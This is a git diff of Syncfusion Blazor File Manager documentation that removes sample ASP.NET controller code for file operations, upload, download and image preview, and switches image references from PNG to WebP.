-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                UploadUrl="/api/FileManager/Upload">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `Upload` File Operation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the Upload operation.
-        [Route("Upload")]
-        [DisableRequestSizeLimit]
-        public IActionResult Upload(string path, long size, IList<IFormFile> uploadFiles, string action)
-        {
-            try
-            {
-                FileManagerResponse uploadResponse;
-                foreach (var file in uploadFiles)
-                {
-                    var folders = (file.FileName).Split('/');
-                    // checking the folder upload
-                    if (folders.Length > 1)
-                    {
-                        for (var i = 0; i < folders.Length - 1; i++)
-                        {
-                            string newDirectoryPath = Path.Combine(this.basePath + path, folders[i]);
-                            if (Path.GetFullPath(newDirectoryPath) != (Path.GetDirectoryName(newDirectoryPath) + Path.DirectorySeparatorChar + folders[i]))
-                            {
-                                throw new UnauthorizedAccessException("Access denied for Directory-traversal");
-                            }
-                            if (!Directory.Exists(newDirectoryPath))
-                            {
-                                this.operation.ToCamelCase(this.operation.Create(path, folders[i]));
-                            }
-                            path += folders[i] + "/";
-                        }
-                    }
-                }
-                uploadResponse = operation.Upload(path, uploadFiles, action, size, null);
-                if (uploadResponse.Error != null)
-                {
-                    Response.Clear();
-                    Response.ContentType = "application/json; charset=utf-8";
-                    Response.StatusCode = Convert.ToInt32(uploadResponse.Error.Code);
-                    Response.HttpContext.Features.Get<IHttpResponseFeature>().ReasonPhrase = uploadResponse.Error.Message;
-                }
-            }
-            catch (Exception e)
-            {
-                ErrorDetails er = new ErrorDetails();
-                er.Message = e.Message.ToString();
-                er.Code = "417";
-                er.Message = "Access denied for Directory-traversal";
-                Response.Clear();
-                Response.ContentType = "application/json; charset=utf-8";
-                Response.StatusCode = Convert.ToInt32(er.Code);
-                Response.HttpContext.Features.Get<IHttpResponseFeature>().ReasonPhrase = er.Message;
-                return Content("");
-            }
-            return Content("");
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Image preview support
-
-To perform image preview support in the File Manager component, initialize the [GetImageUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_GetImageUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                GetImageUrl="/api/FileManager/GetImage">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `GetImage` File Operation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the GetImage operation.
-        [Route("GetImage")]
-        public IActionResult GetImage(FileManagerDirectoryContent args)
-        {
-            return this.operation.GetImage(args.Path, args.Id,false,null, null);
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor File Manager with Image Preview](images/blazor-filemanager-image-preview.png)
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in the default web browser.
 
 
 ## See also
diff --git a/blazor/file-manager/getting-started-with-web-app.md b/blazor/file-manager/getting-started-with-web-app.md
index 7a28cd8f25..9b0fc0035d 100644
--- a/blazor/file-manager/getting-started-with-web-app.md
+++ b/blazor/file-manager/getting-started-with-web-app.md
@@ -180,347 +180,10 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% endhighlight %}
 {% endtabs %}
 
-## Create Models
-
-Create a new folder named `Models` in the server project. Add the necessary model files to this folder for handling file operations. Download the `PhysicalFileProvider.cs` and `Base` folder from this [repository](https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/tree/master/Models) and place them in the Models folder.
-
-## Create a new folder controller
-
-To initialize a local service, create a new folder name with `Controllers` inside the server part of the project. Then, create a new file `FileManagerController` with extension `.cs` inside the `Controllers` folder.
-
-Make sure your controller `FileManagerController.cs` uses the model classes you've created. Import the model namespace at the top of your controller file
-
-File Manager's base functions are available in the below namespace.
-```cshtml
-using Syncfusion.EJ2.FileManager.Base;
-````
-File Manager's operations are available in the below namespace.
-````cshtml
-using Syncfusion.EJ2.FileManager.PhysicalFileProvider;
-````
-
-## Initialize the service in controller
-
-File Manager supports the basic file actions like Read, Delete, Copy, Move, Get Details, Search, Rename, and Create New Folder.
-To perform the action add the following code in that `FileManagerController.cs` file.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-using Microsoft.AspNetCore.Mvc;
-using System;
-using System.Collections.Generic;
-using Microsoft.AspNetCore.Hosting;
-using Microsoft.AspNetCore.Http;
-using Microsoft.AspNetCore.Http.Features;
-//File Manager's base functions are available in the below namespace.
-using Syncfusion.EJ2.FileManager.Base;
-//File Manager's operations are available in the below namespace.
-using Syncfusion.EJ2.FileManager.PhysicalFileProvider;
-using System.IO;
-using System.Linq;
-using System.Threading.Tasks;
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        public PhysicalFileProvider operation;
-        public string basePath;
-        string root = "wwwroot\\Files";
-        [Obsolete]
-        public FileManagerController(IWebHostEnvironment hostingEnvironment)
-        {
-            this.basePath = hostingEnvironment.ContentRootPath;
-            this.operation = new PhysicalFileProvider();
-            this.operation.RootFolder(this.basePath + "\\" + this.root); // It denotes in which files and folders are available.
-        }
-
-        // Processing the File Manager operations.
-        [Route("FileOperations")]
-        public object FileOperations([FromBody] FileManagerDirectoryContent args)
-        {
-            switch (args.Action)
-            {
-                // Add your custom action here.
-                case "read":
-                    // Path - Current path; ShowHiddenItems - Boolean value to show/hide hidden items.
-                    return this.operation.ToCamelCase(this.operation.GetFiles(args.Path, args.ShowHiddenItems));
-                case "delete":
-                    // Path - Current path where the folder to be deleted; Names - Name of the files to be deleted
-                    return this.operation.ToCamelCase(this.operation.Delete(args.Path, args.Names));
-                case "copy":
-                    //  Path - Path from where the file was copied; TargetPath - Path where the file/folder is to be copied; RenameFiles - Files with same name in the copied location that is confirmed for renaming; TargetData - Data of the copied file
-                    return this.operation.ToCamelCase(this.operation.Copy(args.Path, args.TargetPath, args.Names, args.RenameFiles, args.TargetData));
-                case "move":
-                    // Path - Path from where the file was cut; TargetPath - Path where the file/folder is to be moved; RenameFiles - Files with same name in the moved location that is confirmed for renaming; TargetData - Data of the moved file
-                    return this.operation.ToCamelCase(this.operation.Move(args.Path, args.TargetPath, args.Names, args.RenameFiles, args.TargetData));
-                case "details":
-                    // Path - Current path where details of file/folder is requested; Name - Names of the requested folders
-                    return this.operation.ToCamelCase(this.operation.Details(args.Path, args.Names));
-                case "create":
-                    // Path - Current path where the folder is to be created; Name - Name of the new folder
-                    return this.operation.ToCamelCase(this.operation.Create(args.Path, args.Name));
-                case "search":
-                    // Path - Current path where the search is performed; SearchString - String typed in the searchbox; CaseSensitive - Boolean value which specifies whether the search must be casesensitive
-                    return this.operation.ToCamelCase(this.operation.Search(args.Path, args.SearchString, args.ShowHiddenItems, args.CaseSensitive));
-                case "rename":
-                    // Path - Current path of the renamed file; Name - Old file name; NewName - New file name
-                    return this.operation.ToCamelCase(this.operation.Rename(args.Path, args.Name, args.NewName));
-            }
-            return null;
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-To configure and map the controller, open the `~/Program.cs` file of the server part of the application. Add the following code to configure the service for the controller and map the controller after `app.UseRouting()`. The `app.UseRouting()` middleware should be placed after `app.UseHttpsRedirection()`. The correct ordering is essential to ensure proper request handling and middleware functionality:
-
-```cshtml
-
-builder.Services.AddControllers();
-
-...
-
-app.UseRouting();
-app.MapControllers();
-
-```
-
-This will configure and map the controller in your Blazor App.
-
-## Create Web App
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in `.razor` file inside the `Pages` folder.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                             UploadUrl="/api/FileManager/Upload"
-                             DownloadUrl="/api/FileManager/Download"
-                             GetImageUrl="/api/FileManager/GetImage">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Interactive Modes to be Chosen
-
-Blazor supports different interactive modes for server-side rendering:
-
-* Interactive Server Render Mode: This mode allows Blazor components to be rendered on the server, sending the HTML to the client while maintaining interactive capabilities. It provides a balance between server-side processing and client-side responsiveness.
-
-* To enable this mode, configure the `Program.cs` file in your Blazor  project using the `AddInteractiveServerRenderMode` method.
-````cshtml
-builder.Services.AddRazorComponents()
-    .AddInteractiveServerComponents();
-````
-Define a render mode at top of the component, as follows:
-
-{% tabs %}
-{% highlight razor %}
-
-@* desired render mode define here *@
-@rendermode InteractiveServer
-
-{% endhighlight %}
-{% endtabs %}
-
-Add your required files and folders under the `wwwroot\Files` directory.
-
-* In your  project, the `wwwroot` directory is where static files are served from. It is typically found at the root level of your server project.
-* Inside the `wwwroot` directory, create a new folder named `Files`. This will be used to store static files like images, documents, or other resources that you want to serve directly.
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in the default web browser.
 
-![Blazor File Manager Component](images/blazor-filemanager-component.png)
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/FileManager).
-
-## File download support
-
-To perform the download operation, initialize the [DownloadUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_DownloadUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                DownloadUrl="/api/FileManager/Download">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `Download` FileOperation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the Download operation.
-        [Route("Download")]
-        public IActionResult Download(string downloadInput)
-        {
-            var options = new JsonSerializerOptions
-            {
-                PropertyNamingPolicy = JsonNamingPolicy.CamelCase,
-            };
-            FileManagerDirectoryContent args = JsonSerializer.Deserialize<FileManagerDirectoryContent>(downloadInput, options);
-            return operation.Download(args.Path, args.Names, args.Data);
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## File upload support
-
-To perform the upload operation, initialize the [UploadUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_UploadUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                UploadUrl="/api/FileManager/Upload">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `Upload` File Operation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the Upload operation.
-        [Route("Upload")]
-        [DisableRequestSizeLimit]
-        public IActionResult Upload(string path, long size, IList<IFormFile> uploadFiles, string action)
-        {
-            try
-            {
-                FileManagerResponse uploadResponse;
-                foreach (var file in uploadFiles)
-                {
-                    var folders = (file.FileName).Split('/');
-                    // checking the folder upload
-                    if (folders.Length > 1)
-                    {
-                        for (var i = 0; i < folders.Length - 1; i++)
-                        {
-                            string newDirectoryPath = Path.Combine(this.basePath + path, folders[i]);
-                            if (Path.GetFullPath(newDirectoryPath) != (Path.GetDirectoryName(newDirectoryPath) + Path.DirectorySeparatorChar + folders[i]))
-                            {
-                                throw new UnauthorizedAccessException("Access denied for Directory-traversal");
-                            }
-                            if (!Directory.Exists(newDirectoryPath))
-                            {
-                                this.operation.ToCamelCase(this.operation.Create(path, folders[i]));
-                            }
-                            path += folders[i] + "/";
-                        }
-                    }
-                }
-                uploadResponse = operation.Upload(path, uploadFiles, action, size, null);
-                if (uploadResponse.Error != null)
-                {
-                    Response.Clear();
-                    Response.ContentType = "application/json; charset=utf-8";
-                    Response.StatusCode = Convert.ToInt32(uploadResponse.Error.Code);
-                    Response.HttpContext.Features.Get<IHttpResponseFeature>().ReasonPhrase = uploadResponse.Error.Message;
-                }
-            }
-            catch (Exception e)
-            {
-                ErrorDetails er = new ErrorDetails();
-                er.Message = e.Message.ToString();
-                er.Code = "417";
-                er.Message = "Access denied for Directory-traversal";
-                Response.Clear();
-                Response.ContentType = "application/json; charset=utf-8";
-                Response.StatusCode = Convert.ToInt32(er.Code);
-                Response.HttpContext.Features.Get<IHttpResponseFeature>().ReasonPhrase = er.Message;
-                return Content("");
-            }
-            return Content("");
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Image preview support
-
-To perform image preview support in the File Manager component, initialize the [GetImageUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_GetImageUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                GetImageUrl="/api/FileManager/GetImage">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `GetImage` File Operation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the GetImage operation.
-        [Route("GetImage")]
-        public IActionResult GetImage(FileManagerDirectoryContent args)
-        {
-            return this.operation.GetImage(args.Path, args.Id,false,null, null);
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor File Manager with Image Preview](images/blazor-filemanager-image-preview.png)
-
-
 ## See also
 
 1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
 3. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
-
diff --git a/blazor/file-manager/how-to/add-custom-tool-bar.md b/blazor/file-manager/how-to/add-custom-tool-bar.md
index ae034db4af..045b4ccf3d 100644
--- a/blazor/file-manager/how-to/add-custom-tool-bar.md
+++ b/blazor/file-manager/how-to/add-custom-tool-bar.md
@@ -47,7 +47,7 @@ To enhance the customization of toolbar items, the [FileManagerToolbarSettings](
 
 ```
 
-![Blazor FileManger displays Custom Item in Toolbar](../images/blazor-filemanager-custom-item.png)
+![Blazor FileManger displays Custom Item in Toolbar](../images/blazor-filemanager-custom-item.webp)
 
 
 **Case 2**: To include Blazor components in the File Manager toolbar, you can use the template tag. This enables you to seamlessly render additional components within the toolbar. By assigning the same `Name` property in the toolbar items list, you can determine the desired position of the template item within the toolbar.
@@ -95,4 +95,4 @@ To enhance the customization of toolbar items, the [FileManagerToolbarSettings](
 ```
 
 
-![Blazor FileManger displays Zoom button in Toolbar](../images/blazor-filemanager-zoom-button.png)
+![Blazor FileManger displays Zoom button in Toolbar](../images/blazor-filemanager-zoom-button.webp)
diff --git a/blazor/file-manager/how-to/adding-custom-item-to-context-menu.md b/blazor/file-manager/how-to/adding-custom-item-to-context-menu.md
index 400f7d1c5e..f5e9c4e332 100644
--- a/blazor/file-manager/how-to/adding-custom-item-to-context-menu.md
+++ b/blazor/file-manager/how-to/adding-custom-item-to-context-menu.md
@@ -38,4 +38,4 @@ After successful compilation of your application, simply press `F5` to run the a
 
 
 
-![Blazor File Manager with Custom Context Menu](../images/blazor-filemanager-custom-context-menu.png)
\ No newline at end of file
+![Blazor File Manager with Custom Context Menu](../images/blazor-filemanager-custom-context-menu.webp)
\ No newline at end of file
diff --git a/blazor/file-manager/how-to/customize-http-handler.md b/blazor/file-manager/how-to/customize-http-handler.md
index 10a2d61dda..928976f6d2 100644
--- a/blazor/file-manager/how-to/customize-http-handler.md
+++ b/blazor/file-manager/how-to/customize-http-handler.md
@@ -145,7 +145,7 @@ This section explains how to create a Blazor server application with Windows aut
 
 You can create a Blazor server application with Windows authentication using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-7.0) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
-![Authentication](../images/customize-http-handler.png)
+![Authentication](../images/customize-http-handler.webp)
 
 Include the [Microsoft.AspNetCore.Authentication.JWTBearer](https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.JwtBearer) package for generating user tokens.
 
diff --git a/blazor/file-manager/how-to/nested-items.md b/blazor/file-manager/how-to/nested-items.md
index 18060d0859..78cbe6ce25 100644
--- a/blazor/file-manager/how-to/nested-items.md
+++ b/blazor/file-manager/how-to/nested-items.md
@@ -180,7 +180,7 @@ The following example shows how to render the SfFileManager component inside the
 
 ```
 
-![Syncfusion Blazor File Manager displayed inside a dialog](../images/blazor-filemanager-inside-dialog.png)
+![Syncfusion Blazor File Manager displayed inside a dialog](../images/blazor-filemanager-inside-dialog.webp)
 
 ## Adding File Manager inside the Tab
 
@@ -231,4 +231,4 @@ The following example demonstrates how to integrate the Blazor File Manager comp
 
 ```
 
-![Syncfusion Blazor File Manager displayed inside a tab](../images/blazor-filemanager-inside-tab.png)
\ No newline at end of file
+![Syncfusion Blazor File Manager displayed inside a tab](../images/blazor-filemanager-inside-tab.webp)
\ No newline at end of file
diff --git a/blazor/file-manager/how-to/restrict-drag-and-drop-upload.md b/blazor/file-manager/how-to/restrict-drag-and-drop-upload.md
index a008519b5d..2ef2856183 100644
--- a/blazor/file-manager/how-to/restrict-drag-and-drop-upload.md
+++ b/blazor/file-manager/how-to/restrict-drag-and-drop-upload.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Restrict drag and drop upload
 
-In the Blazor File Manager component, you are able to prevent the external drag and drop upload action for any types of files or folders by setting the [DropArea](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_DropArea) property as `null` in the [`FileManagerUploadSettings`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html) class. 
+In the Blazor File Manager component, you are able to prevent the external drag and drop upload action for any types of files or folders by setting the [DropArea](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_DropArea) property as `@null` in the [`FileManagerUploadSettings`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html) class. 
 
 The following example demonstrates how to prevent the external drag and drop upload actions for all types of files in the Blazor File Manager component.
 
@@ -23,7 +23,7 @@ The following example demonstrates how to prevent the external drag and drop upl
                                 DownloadUrl="https://ej2-aspcore-service.azurewebsites.net/api/FileManager/Download"
                                 GetImageUrl="https://ej2-aspcore-service.azurewebsites.net/api/FileManager/GetImage">
     </FileManagerAjaxSettings>
-    <FileManagerUploadSettings DropArea="null"></FileManagerUploadSettings>
+    <FileManagerUploadSettings DropArea="@null"></FileManagerUploadSettings>
 </SfFileManager>
 
-```
\ No newline at end of file
+```
diff --git a/blazor/file-manager/images/Blazor-server-app-creation.png b/blazor/file-manager/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/file-manager/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/file-manager/images/Blazor-server-app-creation.webp b/blazor/file-manager/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/file-manager/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/file-manager/images/Screenshot 2021-01-21 162629.png b/blazor/file-manager/images/Screenshot 2021-01-21 162629.png
deleted file mode 100644
index 1ca8c5aee3..0000000000
Binary files a/blazor/file-manager/images/Screenshot 2021-01-21 162629.png and /dev/null differ
diff --git a/blazor/file-manager/images/Screenshot 2021-01-21 162629.webp b/blazor/file-manager/images/Screenshot 2021-01-21 162629.webp
new file mode 100644
index 0000000000..137b4b69a3
Binary files /dev/null and b/blazor/file-manager/images/Screenshot 2021-01-21 162629.webp differ
diff --git a/blazor/file-manager/images/blazor-app-interactive-mode.png b/blazor/file-manager/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/file-manager/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-app-interactive-mode.webp b/blazor/file-manager/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/file-manager/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/file-manager/images/blazor-create-web-app.png b/blazor/file-manager/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/file-manager/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-create-web-app.webp b/blazor/file-manager/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/file-manager/images/blazor-create-web-app.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-allowextension.png b/blazor/file-manager/images/blazor-filemanager-allowextension.png
deleted file mode 100644
index 7865b551c4..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-allowextension.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-allowextension.webp b/blazor/file-manager/images/blazor-filemanager-allowextension.webp
new file mode 100644
index 0000000000..b3064a9682
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-allowextension.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-autoupload.png b/blazor/file-manager/images/blazor-filemanager-autoupload.png
deleted file mode 100644
index 46f06c0bfe..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-autoupload.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-autoupload.webp b/blazor/file-manager/images/blazor-filemanager-autoupload.webp
new file mode 100644
index 0000000000..aadaa29ba5
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-autoupload.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-chunkupload.png b/blazor/file-manager/images/blazor-filemanager-chunkupload.png
deleted file mode 100644
index 8166ad916e..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-chunkupload.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-chunkupload.webp b/blazor/file-manager/images/blazor-filemanager-chunkupload.webp
new file mode 100644
index 0000000000..e9b7f9401c
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-chunkupload.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-component.png b/blazor/file-manager/images/blazor-filemanager-component.png
deleted file mode 100644
index 141b0340cb..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-component.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-component.webp b/blazor/file-manager/images/blazor-filemanager-component.webp
new file mode 100644
index 0000000000..10f8752218
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-component.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-contextmenu.png b/blazor/file-manager/images/blazor-filemanager-contextmenu.png
deleted file mode 100644
index a8cdb64f8b..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-contextmenu.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-contextmenu.webp b/blazor/file-manager/images/blazor-filemanager-contextmenu.webp
new file mode 100644
index 0000000000..7523a95e88
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-contextmenu.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-create-operation.png b/blazor/file-manager/images/blazor-filemanager-create-operation.png
deleted file mode 100644
index 2f4f5c7211..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-create-operation.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-create-operation.webp b/blazor/file-manager/images/blazor-filemanager-create-operation.webp
new file mode 100644
index 0000000000..3339624406
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-create-operation.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-currentpage.png b/blazor/file-manager/images/blazor-filemanager-currentpage.png
deleted file mode 100644
index 226e81b4a5..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-currentpage.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-currentpage.webp b/blazor/file-manager/images/blazor-filemanager-currentpage.webp
new file mode 100644
index 0000000000..9be9fc9867
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-currentpage.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-context-menu.png b/blazor/file-manager/images/blazor-filemanager-custom-context-menu.png
deleted file mode 100644
index 518386b57f..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-custom-context-menu.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-context-menu.webp b/blazor/file-manager/images/blazor-filemanager-custom-context-menu.webp
new file mode 100644
index 0000000000..c3ed505e7c
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-custom-context-menu.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-dialog.png b/blazor/file-manager/images/blazor-filemanager-custom-dialog.png
deleted file mode 100644
index fdd14b292e..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-custom-dialog.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-dialog.webp b/blazor/file-manager/images/blazor-filemanager-custom-dialog.webp
new file mode 100644
index 0000000000..da5444162b
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-custom-dialog.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-item.png b/blazor/file-manager/images/blazor-filemanager-custom-item.png
deleted file mode 100644
index 97e28a9f79..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-custom-item.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-item.webp b/blazor/file-manager/images/blazor-filemanager-custom-item.webp
new file mode 100644
index 0000000000..2b08b7b9fb
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-custom-item.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-layout.png b/blazor/file-manager/images/blazor-filemanager-custom-layout.png
deleted file mode 100644
index 8543c3b32c..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-custom-layout.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-layout.webp b/blazor/file-manager/images/blazor-filemanager-custom-layout.webp
new file mode 100644
index 0000000000..e9b10dfb51
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-custom-layout.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-selected-items.png b/blazor/file-manager/images/blazor-filemanager-custom-selected-items.png
deleted file mode 100644
index 283883b6b6..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-custom-selected-items.png and /dev/null differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-selected-items.webp b/blazor/file-manager/images/blazor-filemanager-custom-selected-items.webp
new file mode 100644
index 0000000000..b0e04d78a3
Binary files /dev/null and b/blazor/file-manager/images/blazor-filemanager-custom-selected-items.webp differ
diff --git a/blazor/file-manager/images/blazor-filemanager-custom-thumbnail.png b/blazor/file-manager/images/blazor-filemanager-custom-thumbnail.png
deleted file mode 100644
index 28aad486d3..0000000000
Binary files a/blazor/file-manager/images/blazor-filemanager-custom-thumbnail.png and /dev/null differ
